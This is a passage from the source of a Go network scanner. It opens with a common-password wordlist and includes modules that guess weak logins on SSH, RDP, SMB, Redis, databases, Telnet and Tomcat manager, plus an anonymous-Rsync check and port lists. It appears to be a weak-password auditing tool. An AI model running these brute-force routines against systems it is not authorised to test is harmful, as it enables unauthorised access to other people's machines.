111111 71 | 12345 72 | 1234 73 | 123 74 | 0 75 | 123456 76 | 12345678 77 | q123456 78 | w2w2w2 79 | 1234567 80 | q1w2e3r4 81 | 54545454 82 | 121212 83 | 654321 84 | 1q2w3e4r 85 | 987654321 86 | zxcvbnm 87 | 12345 88 | 1234 89 | w123456 90 | qwertyuiop 91 | asdfghjkl 92 | 5454545454 93 | q1q1q1q1 94 | 87654321 95 | 1q2w3e 96 | qwerty 97 | 12121212 98 | 1q2w3e4r5t 99 | qwqwqw 100 | qwertyui 101 | 1qazxsw2 102 | 987654 103 | asdfgh 104 | 12qwaszx 105 | asasas 106 | 232323 107 | qw123456 108 | Q123456 109 | zxcvbn 110 | q1w2e3 111 | asdfghjk 112 | q1234567 113 | q1w2e3r4t5 114 | qwqwqw123 115 | q12345 116 | qwaszx 117 | 987654321 118 | 7654321 119 | zaq12wsx 120 | qazxsw 121 | q1q1q1q 122 | q12345678 123 | 234567 124 | 565656 125 | 787878 126 | QWERTYUIOP 127 | 1q1q1q 128 | zaq123 129 | 123454321 130 | mnbvcxz 131 | 1232123 132 | 1q2w3e4 133 | ewq123456 134 | 1234321 135 | 5454545 136 | qazxswedc 137 | 45454545 138 | ASDFGHJKL 139 | asdwasdw 140 | 23232323 141 | ZXCVBNM 142 | w12345678 143 | 1212121 144 | 454545454 145 | 21212121 146 | 98765 147 | asdfdfdf 148 | wq123456 149 | 1q1q1q1q 150 | 1212123 151 | asasasas 152 | qwertyu 153 | qwe321 154 | 323232 155 | w1234567 156 | 454545 157 | 909090 158 | 123456y 159 | 78787878 160 | !QAZ2wsx 161 | zxzxzx 162 | qwqwqwqw 163 | 90909090 164 | 545454 165 | 1q2w3e4r5t6y 166 | q1q1q1 167 | 123456yu 168 | qwertyuio 169 | qazxsw123 170 | 656565 171 | a123456 172 | zz12369 173 | 123456aa 174 | wmsxie123 175 | q123456 176 | 123456a 177 | w2w2w2 178 | a12369 179 | aa123456 180 | a321654 181 | 1qaz2wsx 182 | asd123 183 | sunliu66 184 | a111111 185 | 13e4e5sd 186 | qq666666 187 | a520520 188 | q1w2e3r4 189 | zz123456 190 | a123456789 191 | qwe123 192 | qqq111 193 | 112233abc 194 | a123123 195 | abc123456 196 | 123qwe 197 | a1234567 198 | a636654 199 | dircls128 200 | 123abc 201 | 1q2w3e4r 202 | aili1314 203 | 123456789a 204 | qq111111 205 | z123456 206 | xy123456 207 | a5201314 208 | a000000 209 | zeng1013 210 | a42176488 211 | 123456abc 212 | abc123 213 | abcd1234 214 | w123456 215 | aa456789 216 | asd123456 217 | a11111 218 | 123456789k 219 | 123aa123 220 | 789789aa 221 | 11111a 222 | zxc123456 223 | sxq330983 224 | 111111a 225 | a12345678 226 | qw123123 227 | 123456z 228 | ad123456 229 | qaz123 230 | 123456q 231 | zhang123 232 | li222222 233 | q111111 234 | zxcv123 235 | wdl123 236 | a12345 237 | qwe123456 238 | q1q1q1q1 -------------------------------------------------------------------------------- /scan/crack/pgsql.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "gorm.io/driver/postgres" 7 | "gorm.io/gorm" 8 | "gorm.io/gorm/logger" 9 | ) 10 | 11 | func pgsql(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) { 12 | dsn := fmt.Sprintf("host=%s user=%s password=%s dbname=postgres port=%d sslmode=disable TimeZone=Asia/Shanghai connect_timeout=%d", ip, user, passwd, port, timeout) 13 | _, err := gorm.Open(postgres.Open(dsn), &gorm.Config{ 14 | Logger: logger.Default.LogMode(logger.Silent), 15 | }) 16 | if err == nil { 17 | end(ip, user, passwd, port, "PgSQL") 18 | cancel() 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /scan/crack/rdp.go: -------------------------------------------------------------------------------- 1 | //go:build rdp 2 | 3 | package crack 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "fmt" 9 | "github.com/tomatome/grdp/core" 10 | "github.com/tomatome/grdp/glog" 11 | "github.com/tomatome/grdp/protocol/nla" 12 | "github.com/tomatome/grdp/protocol/pdu" 13 | "github.com/tomatome/grdp/protocol/rfb" 14 | "github.com/tomatome/grdp/protocol/sec" 15 | "github.com/tomatome/grdp/protocol/t125" 16 | "github.com/tomatome/grdp/protocol/tpkt" 17 | "github.com/tomatome/grdp/protocol/x224" 18 | "log" 19 | "net" 20 | "os" 21 | "sync" 22 | "time" 23 | ) 24 | 25 | type Client struct { 26 | Host string // ip:port 27 | tpkt *tpkt.TPKT 28 | x224 *x224.X224 29 | mcs *t125.MCSClient 30 | sec *sec.Client 31 | pdu *pdu.Client 32 | vnc *rfb.RFB 33 | } 34 | 35 | func NewClient(host string, logLevel glog.LEVEL) *Client { 36 | glog.SetLevel(logLevel) 37 | logger := log.New(os.Stdout, "", 0) 38 | glog.SetLogger(logger) 39 | return &Client{ 40 | Host: host, 41 | } 42 | } 43 | 44 | func rdpcon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) { 45 | r := NewClient(fmt.Sprintf("%s:%d", ip, port), glog.NONE) 46 | err := r.Login("", user, passwd, timeout) 47 | if err == nil { 48 | end(ip, user, passwd, port, "RDP") 49 | cancel() 50 | } 51 | } 52 | 53 | func (g *Client) Login(domain, user, pwd string, timeout int) error { 54 | var err error 55 | defer func() { 56 | if r := recover(); r != nil { 57 | err = fmt.Errorf("panic: %v", r) 58 | } 59 | }() 60 | conn, err := net.DialTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) 61 | defer func() { 62 | if conn != nil { 63 | _ = conn.Close() 64 | } 65 | }() 66 | if err != nil { 67 | return fmt.Errorf("[dial err] %v", err) 68 | } 69 | glog.Info(conn.LocalAddr().String()) 70 | 71 | g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) 72 | g.x224 = x224.New(g.tpkt) 73 | g.mcs = t125.NewMCSClient(g.x224) 74 | g.sec = sec.NewClient(g.mcs) 75 | g.pdu = pdu.NewClient(g.sec) 76 | 77 | g.sec.SetUser(user) 78 | g.sec.SetPwd(pwd) 79 | g.sec.SetDomain(domain) 80 | //g.sec.SetClientAutoReconnect() 81 | 82 | g.tpkt.SetFastPathListener(g.sec) 83 | g.sec.SetFastPathListener(g.pdu) 84 | g.pdu.SetFastPathSender(g.tpkt) 85 | 86 | //g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL) 87 | //g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP) 88 | 89 | err = g.x224.Connect() 90 | if err != nil { 91 | return fmt.Errorf("[x224 connect err] %v", err) 92 | } 93 | glog.Info("wait connect ok") 94 | wg := &sync.WaitGroup{} 95 | breakFlag := false 96 | wg.Add(1) 97 | 98 | g.pdu.On("error", func(e error) { 99 | err = e 100 | glog.Error("error", e) 101 | g.pdu.Emit("done") 102 | }) 103 | g.pdu.On("close", func() { 104 | err = errors.New("close") 105 | glog.Info("on close") 106 | g.pdu.Emit("done") 107 | }) 108 | g.pdu.On("success", func() { 109 | err = nil 110 | glog.Info("on success") 111 | g.pdu.Emit("done") 112 | }) 113 | g.pdu.On("ready", func() { 114 | glog.Info("on ready") 115 | g.pdu.Emit("done") 116 | }) 117 | g.pdu.On("update", func(rectangles []pdu.BitmapData) { 118 | glog.Info("on update:", rectangles) 119 | }) 120 | g.pdu.On("done", func() { 121 | if breakFlag == false { 122 | breakFlag = true 123 | wg.Done() 124 | } 125 | }) 126 | wg.Wait() 127 | return err 128 | } 129 | -------------------------------------------------------------------------------- /scan/crack/rdp_pass.go: -------------------------------------------------------------------------------- 1 | //go:build !rdp 2 | 3 | package crack 4 | 5 | import ( 6 | "context" 7 | ) 8 | 9 | // linux系统是不支持rdp弱口令扫描 10 | func rdpcon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) { 11 | } 12 | -------------------------------------------------------------------------------- /scan/crack/redis.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/go-redis/redis/v8" 7 | "time" 8 | ) 9 | 10 | var ctx = context.Background() 11 | 12 | func rediscon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) { 13 | client := redis.NewClient(&redis.Options{ 14 | Addr: fmt.Sprintf("%s:%d", ip, port), 15 | Username: user, 16 | Password: passwd, 17 | DB: 0, 18 | DialTimeout: time.Duration(timeout) * time.Second, 19 | MinRetryBackoff: time.Duration(timeout) * time.Second, 20 | ReadTimeout: time.Duration(timeout) * time.Second, 21 | }) 22 | _, err := client.Ping(ctx).Result() 23 | if err == nil { 24 | end(ip, user, passwd, port, "Redis") 25 | cancel() 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /scan/crack/rsync.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "strconv" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | func Rsync(host, port string) { 12 | timeout := 3 * time.Second 13 | 14 | // 建立连接 15 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), 3*time.Second) 16 | if err != nil { 17 | return 18 | } 19 | defer conn.Close() 20 | 21 | buffer := make([]byte, 1024) 22 | 23 | // 1. 读取服务器初始greeting 24 | n, err := conn.Read(buffer) 25 | if err != nil { 26 | return 27 | } 28 | 29 | greeting := string(buffer[:n]) 30 | 31 | // 获取服务器版本号 32 | version := strings.TrimSpace(strings.TrimPrefix(greeting, "@RSYNCD:")) 33 | 34 | // 2. 回应相同的版本号 35 | _, err = conn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version))) 36 | if err != nil { 37 | return 38 | } 39 | 40 | // 3. 选择模块 - 先列出可用模块 41 | _, err = conn.Write([]byte("#list\n")) 42 | if err != nil { 43 | return 44 | } 45 | 46 | // 4. 读取模块列表 47 | var moduleList strings.Builder 48 | for { 49 | n, err = conn.Read(buffer) 50 | if err != nil { 51 | break 52 | } 53 | chunk := string(buffer[:n]) 54 | moduleList.WriteString(chunk) 55 | if strings.Contains(chunk, "@RSYNCD: EXIT") { 56 | break 57 | } 58 | fmt.Println("卡住了") 59 | } 60 | 61 | modules := strings.Split(moduleList.String(), "\n") 62 | for _, module := range modules { 63 | if strings.HasPrefix(module, "@RSYNCD") || module == "" { 64 | continue 65 | } 66 | 67 | // 获取模块名 68 | moduleName := strings.Fields(module)[0] 69 | 70 | // 5. 为每个模块创建新连接尝试认证 71 | authConn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout) 72 | if err != nil { 73 | continue 74 | } 75 | 76 | // 重复初始握手 77 | _, err = authConn.Read(buffer) 78 | if err != nil { 79 | _ = authConn.Close() 80 | continue 81 | } 82 | 83 | _, err = authConn.Write([]byte(fmt.Sprintf("@RSYNCD: %s\n", version))) 84 | if err != nil { 85 | _ = authConn.Close() 86 | continue 87 | } 88 | 89 | // 6. 选择模块 90 | _, err = authConn.Write([]byte(moduleName + "\n")) 91 | if err != nil { 92 | _ = authConn.Close() 93 | continue 94 | } 95 | 96 | // 7. 等待认证挑战 97 | n, err = authConn.Read(buffer) 98 | 99 | if err != nil { 100 | _ = authConn.Close() 101 | continue 102 | } 103 | 104 | authResponse := string(buffer[:n]) 105 | if strings.Contains(authResponse, "@RSYNCD: OK") { 106 | _ = authConn.Close() 107 | intport, _ := strconv.Atoi(port) 108 | end(host, "未授权访问", "", intport, "Rsync") 109 | } 110 | } 111 | } 112 | -------------------------------------------------------------------------------- /scan/crack/run.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/fatih/color" 7 | "golin/global" 8 | "os" 9 | "strconv" 10 | "sync" 11 | "time" 12 | ) 13 | 14 | var ListCrackHost []SussCrack 15 | 16 | type SussCrack struct { 17 | Host string 18 | User string 19 | Passwd string 20 | Port int 21 | Mode string 22 | } 23 | 24 | type HostPort struct { 25 | Host string 26 | Port int 27 | } 28 | 29 | var MapCrackHost = make(map[HostPort]SussCrack) //使用 Host和Port作为键,SussCrack结构体作为值。对于每个 Host 和 Port 的组合,只会存储一次弱口令信息,避免并发遇到匿名用户输出。 30 | 31 | // ConnectionFunc 定义一个函数类型 32 | type ConnectionFunc func(cancel context.CancelFunc, host, user, passwd string, newport, timeout int) 33 | 34 | // connectionFuncs 创建一个映射,将字符串映射到对应的函数 35 | var connectionFuncs = map[string]ConnectionFunc{ 36 | "ssh": SSH, 37 | "mysql": mySql, 38 | "redis": rediscon, 39 | "postgresql": pgsql, 40 | "sqlserver": sqlservercon, 41 | "ftp": ftpcon, 42 | "smb": smbcon, 43 | "telnet": telnetcon, 44 | "tomcat": tomcat, 45 | "rdp": rdpcon, 46 | "oracle": oraclecon, 47 | } 48 | 49 | func Run(host, port string, Timeout, chanCount int, mode string) { 50 | ch := make(chan struct{}, chanCount) 51 | wg := sync.WaitGroup{} 52 | ctx, cancel := context.WithTimeout(context.Background(), time.Second*time.Duration(Timeout)) 53 | defer cancel() //确保所有的goroutine都已经退出 54 | newport, _ := strconv.Atoi(port) 55 | 56 | for _, user := range Userlist(mode) { 57 | for _, passwd := range Passwdlist() { 58 | fmt.Printf("\033[2K\r") // 擦除整行 59 | fmt.Printf("\r%s", color.MagentaString("\r[...] 正在进行弱口令扫描 -> %s", fmt.Sprintf("%s://%s:%s?user=%s?passwd=%s", mode, host, port, user, passwd))) 60 | 61 | ch <- struct{}{} 62 | wg.Add(1) 63 | if connFunc, ok := connectionFuncs[mode]; ok { 64 | go crackOnce(ctx, cancel, host, user, passwd, newport, Timeout, ch, &wg, connFunc, mode) 65 | } else { 66 | wg.Done() 67 | <-ch 68 | } 69 | 70 | } 71 | } 72 | wg.Wait() 73 | } 74 | 75 | func end(host, user, passwd string, port int, mode string) { 76 | global.PrintLock.Lock() 77 | defer global.PrintLock.Unlock() 78 | //ListCrackHost = append(ListCrackHost, SussCrack{host, user, passwd, port, mode}) 79 | MapCrackHost[HostPort{Host: host, Port: port}] = SussCrack{host, user, passwd, port, mode} 80 | global.LogToFile(global.LevelInfo, fmt.Sprintf("%s:%d(%s) %s %s", host, port, mode, user, passwd)) 81 | 82 | } 83 | 84 | func done(ch <-chan struct{}, wg *sync.WaitGroup) { 85 | <-ch 86 | wg.Done() 87 | } 88 | 89 | func crackOnce(ctx context.Context, cancel context.CancelFunc, host, user, passwd string, newport, timeout int, ch <-chan struct{}, wg *sync.WaitGroup, connFunc ConnectionFunc, key string) { 90 | defer done(ch, wg) 91 | 92 | hasDone := make(chan struct{}, 1) 93 | go func() { 94 | connFunc(cancel, host, user, passwd, newport, timeout) 95 | hasDone <- struct{}{} 96 | }() 97 | 98 | select { 99 | case <-hasDone: 100 | return 101 | case <-ctx.Done(): 102 | if os.Getenv("crack") == "on" { 103 | fmt.Println(key, host, user, passwd, "crack timeout.....done") 104 | } 105 | return 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /scan/crack/smb.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "context" 5 | "github.com/stacktitan/smb/smb" 6 | ) 7 | 8 | func smbcon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) { 9 | options := smb.Options{ 10 | Host: ip, 11 | Port: port, 12 | User: user, 13 | Domain: "", 14 | Workstation: "", 15 | Password: passwd, 16 | } 17 | debug := false 18 | session, err := smb.NewSession(options, debug) 19 | if err == nil { 20 | defer session.Close() 21 | if session.IsAuthenticated { 22 | end(ip, user, passwd, port, "SMB") 23 | cancel() 24 | } 25 | } 26 | return 27 | } 28 | -------------------------------------------------------------------------------- /scan/crack/sqlserver.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "gorm.io/driver/sqlserver" 7 | "gorm.io/gorm" 8 | "gorm.io/gorm/logger" 9 | ) 10 | 11 | func sqlservercon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) { 12 | dsn := fmt.Sprintf("sqlserver://%s:%s@%s:%d?database=master&timeout=%ds", user, passwd, ip, port, timeout) 13 | _, err := gorm.Open(sqlserver.Open(dsn), &gorm.Config{ 14 | Logger: logger.Default.LogMode(logger.Silent), 15 | }) 16 | 17 | if err == nil { 18 | end(ip, user, passwd, port, "MSSQL") 19 | cancel() 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /scan/crack/ssh.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "golang.org/x/crypto/ssh" 7 | "time" 8 | ) 9 | 10 | func SSH(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) { 11 | configssh := &ssh.ClientConfig{ 12 | Timeout: time.Duration(timeout) * time.Second, // ssh连接timeout时间 13 | User: user, 14 | HostKeyCallback: ssh.InsecureIgnoreHostKey(), 15 | } 16 | configssh.Auth = []ssh.AuthMethod{ssh.Password(passwd)} 17 | 18 | addr := fmt.Sprintf("%s:%d", ip, port) 19 | sshClient, err := ssh.Dial("tcp", addr, configssh) 20 | if err != nil { 21 | return 22 | } 23 | defer sshClient.Close() 24 | end(ip, user, passwd, port, "SSH") 25 | cancel() 26 | } 27 | -------------------------------------------------------------------------------- /scan/crack/telnet.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/ziutek/telnet" 7 | "io" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | func telnetcon(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) { 13 | conn, err := telnet.DialTimeout("tcp", fmt.Sprintf("%s:%d", ip, port), time.Duration(timeout)) 14 | if err != nil { 15 | return 16 | } 17 | err = login(conn, user, passwd) 18 | if err == nil { 19 | if readOutput(conn) { 20 | defer conn.Close() 21 | end(ip, user, passwd, port, "Telnet") 22 | cancel() 23 | } 24 | } 25 | return 26 | } 27 | 28 | func login(conn *telnet.Conn, username string, password string) error { 29 | conn.SetUnixWriteMode(true) 30 | conn.SkipUntil("login: ") 31 | if _, err := io.WriteString(conn, fmt.Sprintf("%s\n", username)); err != nil { 32 | return err 33 | } 34 | conn.SkipUntil("Password: ") 35 | if _, err := io.WriteString(conn, fmt.Sprintf("%s\n", password)); err != nil { 36 | return err 37 | } 38 | return nil 39 | } 40 | 41 | func readOutput(conn *telnet.Conn) bool { 42 | for { 43 | data, err := conn.ReadUntil("\n") 44 | if len(data) > 0 { 45 | dataStr := strings.TrimSpace(string(data)) 46 | if dataStr != "" { 47 | if strings.Count(dataStr, "incorrect") > 0 { 48 | return false 49 | } 50 | if strings.Count(dataStr, "Last") > 0 { 51 | return true 52 | } 53 | } 54 | } 55 | if err != nil { 56 | return false 57 | } 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /scan/crack/tomcat.go: -------------------------------------------------------------------------------- 1 | package crack 2 | 3 | import ( 4 | "encoding/base64" 5 | "fmt" 6 | "golang.org/x/net/context" 7 | "io" 8 | "net/http" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | func tomcat(cancel context.CancelFunc, ip, user, passwd string, port, timeout int) { 14 | url := fmt.Sprintf("%s:%d", ip, port) 15 | base64passwd := fmt.Sprintf("%s:%s", user, passwd) 16 | base64passwd = base64.StdEncoding.EncodeToString([]byte(base64passwd)) 17 | client := &http.Client{ 18 | Timeout: time.Duration(timeout) * time.Second, 19 | } 20 | protocol := []string{"http", "https"} 21 | for _, t := range protocol { 22 | req, err := http.NewRequest("GET", fmt.Sprintf("%s://%s/manager/html", t, url), nil) 23 | if err != nil { 24 | continue 25 | } 26 | req.Header.Add("Host", url) 27 | req.Header.Add("Cache-Control", "max-age=0") 28 | req.Header.Add("Authorization", fmt.Sprintf("Basic %s", base64passwd)) 29 | req.Header.Add("Upgrade-Insecure-Requests", "1") 30 | req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36") 31 | req.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7") 32 | //req.Header.Add("Referer", "http://") 33 | req.Header.Add("Accept-Encoding", "gzip, deflate") 34 | req.Header.Add("Accept-Language", "zh-CN,zh;q=0.9") 35 | req.Header.Add("Connection", "close") 36 | resp, err := client.Do(req) 37 | if err != nil { 38 | continue 39 | } 40 | 41 | if resp != nil { 42 | defer resp.Body.Close() 43 | } 44 | 45 | body, err := io.ReadAll(resp.Body) 46 | if err != nil { 47 | continue 48 | } 49 | 50 | if strings.Contains(string(body), `action="/manager/html/deploy`) { 51 | end(ip, user, passwd, port, "Tomcat") 52 | cancel() 53 | } 54 | } 55 | 56 | } 57 | -------------------------------------------------------------------------------- /scan/echo.go: -------------------------------------------------------------------------------- 1 | package scan 2 | 3 | import ( 4 | "fmt" 5 | "github.com/olekukonko/tablewriter" 6 | "golin/poc" 7 | "golin/scan/crack" 8 | "os" 9 | "strconv" 10 | "strings" 11 | ) 12 | 13 | // echoCrack 输出弱口令的资产信息 14 | func echoCrack() { 15 | if len(crack.MapCrackHost) <= 0 { 16 | return 17 | } 18 | 19 | var data [][]string 20 | 21 | for _, sussCrack := range crack.MapCrackHost { 22 | data = append(data, []string{sussCrack.Host, strconv.Itoa(sussCrack.Port), sussCrack.User, sussCrack.Passwd, sussCrack.Mode}) 23 | } 24 | 25 | table := tablewriter.NewWriter(os.Stdout) 26 | table.SetHeader([]string{"Host", "Port", "User", "Passwd", "Mode"}) 27 | table.AppendBulk(data) 28 | fmt.Printf(clearLine) 29 | table.Render() 30 | } 31 | 32 | // echoPoc 输出漏洞资产信息 33 | func echoPoc() { 34 | if len(poc.ListPocInfo) <= 0 { 35 | return 36 | } 37 | var data [][]string 38 | for _, sussPoc := range poc.ListPocInfo { 39 | sussPoc.Cve = strings.ReplaceAll(sussPoc.Cve, "poc-yaml-", "") 40 | data = append(data, []string{sussPoc.Url, sussPoc.Cve, sussPoc.Flag}) 41 | } 42 | 43 | table := tablewriter.NewWriter(os.Stdout) 44 | table.SetHeader([]string{"Url", "Name", "Info"}) 45 | table.AppendBulk(data) 46 | fmt.Printf(clearLine) 47 | table.Render() 48 | 49 | } 50 | -------------------------------------------------------------------------------- /scan/exclude.go: -------------------------------------------------------------------------------- 1 | package scan 2 | 3 | import ( 4 | "golin/global" 5 | "os" 6 | "strings" 7 | ) 8 | 9 | // excludePort 排除端口 10 | func excludePort(port string) { 11 | if port == "" { 12 | portlist = removeDuplicates(portlist) //现有端口去重 13 | return 14 | } 15 | 16 | if strings.Count(port, ",") == 0 { 17 | port = port + "," 18 | } 19 | 20 | for _, v := range strings.Split(port, ",") { 21 | for i := 0; i < len(portlist); i++ { 22 | if portlist[i] == v { 23 | portlist = append(portlist[:i], portlist[i+1:]...) // 删除与 v 相等的元素 24 | i-- // 更新索引,因为切片长度减少了 1 25 | } 26 | } 27 | } 28 | 29 | } 30 | 31 | // removeDuplicates 切片去重 32 | func removeDuplicates(slice []string) []string { 33 | keys := make(map[string]bool) 34 | var list []string 35 | 36 | for _, entry := range slice { 37 | if _, value := keys[entry]; !value { 38 | keys[entry] = true 39 | list = append(list, entry) 40 | } 41 | } 42 | return list 43 | } 44 | 45 | // removeIP 获取不进行扫描的IP 46 | func removeIP(data string) { 47 | iplist = removeDuplicates(iplist) //IP去重 48 | 49 | var NoList []string 50 | if global.PathExists(data) { 51 | fireData, _ := os.ReadFile(data) 52 | fireData = []byte(strings.ReplaceAll(string(fireData), "\r\n", "\n")) 53 | for _, ip := range strings.Split(string(fireData), "\n") { 54 | NoList = append(NoList, ip) 55 | } 56 | } 57 | 58 | // 创建一个映射,用于快速查找nolist中的元素 59 | noMap := make(map[string]bool) 60 | for _, ip := range NoList { 61 | noMap[ip] = true 62 | } 63 | // 创建一个新的切片,其中只包含那些不在nolist中的iplist元素 64 | var NewList []string 65 | for _, ip := range iplist { 66 | if _, ok := noMap[ip]; !ok { 67 | NewList = append(NewList, ip) 68 | } 69 | } 70 | iplist = NewList 71 | 72 | } 73 | -------------------------------------------------------------------------------- /scan/parsePort.go: -------------------------------------------------------------------------------- 1 | package scan 2 | 3 | import ( 4 | "strconv" 5 | "strings" 6 | ) 7 | 8 | func parsePort(port string) { 9 | if webport { 10 | portlist = []string{"80", "81", "82", "88", "443", "8080", "8443", "8000", "8888", "3000", "5000", "5601", "7001"} 11 | return 12 | } 13 | if dbsport { 14 | portlist = []string{"1433", "1521", "3306", "5432", "9200", "27017", "6379", "2181"} 15 | return 16 | } 17 | if riskport { 18 | portlist = []string{"21", "22", "23", "25", "53", "69", "110", "143", "161", "389", "445", "512", "513", "514", "2049", "3306", "3389", "5900", "8080", "873", "5236", "61616"} 19 | return 20 | } 21 | 22 | if len(portlist) > 0 { //是否有特定端口 23 | return 24 | } 25 | 26 | if port == "0" { 27 | portlist = default_port 28 | return 29 | } 30 | 31 | for _, p := range strings.Split(port, ",") { 32 | if p == "" { 33 | continue 34 | } 35 | 36 | if strings.Count(p, "-") == 1 { //范围 37 | start := strings.Split(p, "-")[0] 38 | end := strings.Split(p, "-")[1] 39 | startNum, _ := strconv.Atoi(start) 40 | endNum, _ := strconv.Atoi(end) 41 | if startNum > endNum { 42 | continue 43 | } 44 | if startNum == endNum { 45 | portlist = append(portlist, start) 46 | continue 47 | } 48 | for i := startNum; i <= endNum; i++ { 49 | portlist = append(portlist, strconv.Itoa(i)) 50 | } 51 | } 52 | 53 | if strings.Count(p, "-") == 0 { 54 | pNun, _ := strconv.Atoi(p) 55 | if pNun < 65535 { 56 | portlist = append(portlist, p) 57 | } 58 | } 59 | 60 | } 61 | } 62 | 63 | var ( 64 | default_port = []string{ 65 | "22", // SSH 66 | "66", //HFS 67 | "80", // HTTP 68 | "81", // HTTP 69 | "82", // HTTP 70 | "88", // HTTP 71 | "443", // HTTPS 72 | "21", // FTP 73 | "873", //Rsync 74 | "8888", 75 | "9999", 76 | "9200", 77 | "9080", 78 | "8443", 79 | "9080", 80 | "8001", 81 | "25", // SMTP 82 | "110", // POP3 83 | "143", // IMAP 84 | "465", //SMTPS 85 | "993", //IMAPS 86 | "995", //POP3S 87 | "1080", //SOCKS 88 | "1194", //开放VPN 89 | "2181", //ZooKeeper 90 | "53", // DNS 91 | "3389", // RDP 92 | "23", // Telnet 93 | "514", //Syslog 94 | "1433", // MSSQL 95 | "1521", // Oracle Database 96 | "6379", // Redis 97 | "27017", // MongoDB 98 | "8000", //web 99 | "8080", // HTTP (Alternate) 100 | "8443", // HTTPS (Alternate) 101 | "9000", // PHP-FPM 102 | "161", // SNMP Trap 103 | "445", // SMB 104 | "137", // NetBIOS 105 | "138", // NetBIOS 106 | "139", // NetBIOS 107 | "1434", // MSSQL (Alternate) 108 | "3306", // MySQL (Alternate) 109 | "5432", // PostgreSQL (Alternate) 110 | "5601", //kibana 111 | "8085", 112 | "5672", //RabbitMq 113 | "9000", //Hadoop 114 | "3000", 115 | "8008", 116 | "8081", 117 | "8082", 118 | "8083", 119 | "8084", 120 | "8085", 121 | "9999", 122 | "9100", 123 | "10000", 124 | "10001", 125 | "5236", //达梦数据库 126 | "8123", //ClickHouse 127 | } 128 | ) 129 | 130 | var portProtocols = map[string]string{ 131 | "25": "SMTP", 132 | "53": "DNS", 133 | "110": "POP3", 134 | "135": "RPC服务", 135 | "137": "NetBIOS名称服务", 136 | "138": "NetBIOS数据报服务", 137 | "139": "NetBIOS会话服务", 138 | "161": "SNMP", 139 | "162": "SNMP-trap", 140 | "143": "IMAP", 141 | "445": "SMB", 142 | "465": "SMTPS", 143 | "514": "syslog", 144 | "993": "IMAPS", 145 | "995": "POP3S", 146 | "1433": "数据库|SqlServer", 147 | "1521": "数据库|Oracle", 148 | "1723": "PPTP", 149 | "2049": "NFS", 150 | "3389": "RDP", 151 | "5900": "VNC", 152 | "5901": "VNC", 153 | "5672": "RabbitMq", 154 | "27017": "数据库|MongoDB", 155 | "2181": "ZooKeeper", 156 | } 157 | -------------------------------------------------------------------------------- /scan/ping.go: -------------------------------------------------------------------------------- 1 | package scan 2 | 3 | import ( 4 | "fmt" 5 | "github.com/fatih/color" 6 | "math/rand" 7 | "net" 8 | "os/exec" 9 | "regexp" 10 | "runtime" 11 | "strconv" 12 | "strings" 13 | "sync" 14 | "time" 15 | ) 16 | 17 | var ( 18 | linuxcount int //linux 主机数量 19 | windowscount int //windows 主机数量 20 | pingwg = sync.WaitGroup{} //ping的并发数 21 | pingch = make(chan struct{}, 50) //ping的缓冲区数量 22 | filteredIPList []string //存放失败主机列表以及本地设备IP 23 | ) 24 | 25 | func checkPing() { 26 | if !NoPing { 27 | SanPing() 28 | pingwg.Wait() 29 | // 删除ping失败的主机 30 | for _, ip := range filteredIPList { 31 | for i := 0; i < len(iplist); i++ { 32 | if iplist[i] == ip { 33 | iplist = append(iplist[:i], iplist[i+1:]...) 34 | break 35 | } 36 | } 37 | } 38 | 39 | } 40 | 41 | if random { //打乱主机顺序 42 | r := rand.New(rand.NewSource(time.Now().UnixNano())) 43 | r.Shuffle(len(iplist), func(i, j int) { 44 | iplist[i], iplist[j] = iplist[j], iplist[i] 45 | }) 46 | } 47 | 48 | if !NoPing && len(iplist) == 0 { 49 | fmt.Printf("%s\n", color.RedString("%s", "[-] 通过尝试PING探测存活主机为0!可通过--noping跳过PING尝试")) 50 | return 51 | } 52 | 53 | fmt.Println("+------------------------------------------------------------+") 54 | fmt.Printf("[*] Linux设备:%v Windows设备:%v 未识别:%v 共计扫描:%v\n[*] 开始扫描端口:%v 最大并发数:%v 共计尝试:%v 端口连接超时:%v 端口扫描最大用时:%v \n", 55 | color.GreenString("%d", linuxcount), 56 | color.GreenString("%d", windowscount), 57 | color.RedString("%d", 